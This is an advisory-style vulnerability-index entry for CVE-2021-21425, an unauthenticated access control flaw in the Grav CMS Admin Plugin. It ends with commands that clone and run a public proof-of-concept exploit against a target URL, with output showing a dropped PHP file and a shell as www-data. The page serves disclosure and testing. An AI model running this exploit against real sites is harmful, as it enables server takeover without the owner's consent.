# CVE-2021-21425 - GravCMS RCE

> Grav CMS ≤1.10.7 allows unauthenticated RCE via improper access control in the admin API, enabling arbitrary code execution on the server.

- **URL:** https://hackindex.io/vulnerabilities/CVE-2021-21425
- **CVE:** CVE-2021-21425
- **GHSA:** GHSA-6f53-6qgv-39pj
- **CVSS score:** 9.3
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
- **Type:** CWE-284
- **Authentication:** None
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** <=1.10.7
- **Patched versions:** >1.10.7
- **Published:** 2026-02-25
- **Updated:** 2026-08-11

CVE-2021-21425 is a critical improper access control issue in the Grav CMS Admin Plugin (versions 1.10.7 and earlier) where an unauthenticated attacker can invoke certain administrator controller methods and create or modify YAML files on the server. It was publicly disclosed in March 2021 and published as a CVE in early April 2021. In practice, this can lead to serious compromise, including configuration tampering and, in common attack chains, remote code execution, potentially letting an attacker take over the affected site.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Remote code execution

**[bluetoothStrawberry/cve-2021-21425](https://github.com/bluetoothStrawberry/cve-2021-21425)**

```bash
git clone https://github.com/bluetoothStrawberry/cve-2021-21425.git
cd cve-2021-21425

python3 -m venv .venv
source .venv/bin/activate
pip3 install requests

python3 exploit.py --url http://$TARGET_IP/grav-admin 
# Waiting 1 seconds for http://$TARGET_IP/grav-admin/tmp/60fbe3228b8d5a7b.php creation!
# Initiating hacking session
# $ whoami
# www-data
```